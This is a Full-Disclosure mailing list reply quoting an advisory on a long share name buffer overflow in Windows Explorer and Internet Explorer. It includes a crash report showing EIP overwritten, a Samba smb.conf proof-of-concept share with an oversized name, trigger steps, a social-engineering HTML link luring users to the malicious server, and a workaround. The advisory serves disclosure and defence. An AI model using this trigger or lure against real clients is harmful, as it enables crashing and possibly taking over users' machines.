Re: [Full-Disclosure] Microsoft's Explorer and Internet Explorer long share name buffer overflow.



This crashed IE 5.0.3700.1000 on Win2k SP4

Both the EBP and EIP were overwritten with 0x00410041.
ESP holds the Share name as passed by the server.
ESI holds   servers.ip\sharename (tolowered)

I guess its unicode ninjitsu time.

Background.

MS Explorer (explorer.exe) and MS Internet
Explorer(IEXPLORE.EXE) are core pieces of Microsoft Windows Operating Systems.



Description

Windows fails to handle long share names when
accessing a remote file servers such as samba, allowing a malicious
server to crash the clients explorer and eventually get to execute
arbitrary code in the machine as the current user (usually with
Administrator rights in windows
machines).



Analysis

In order to exploit this, an attacker must be able
to get a user to connect to a malicious server which contains a share name
equal or longer than 300
characters, windows wont allow you to create such a
share, but of course samba includes the feature ;). After your samba box is
up and running create a share in you smb.conf :



#------------ CUT HERE -------------



[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]

comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung

#------------ CUT HERE -------------


After your server is up, just get to your windows
test box and get to the
start menu > run > \\your.malicious.server.ip.,
plufff, explorer will crash
:).

Social Engineering:

<a href="\\my.malicious.server.ip">Enter My 0day
sploit archive</a>



Workaround.

From your network card settings disable the client
for Microsoft networks until a real fix for this vulnerability is
available.
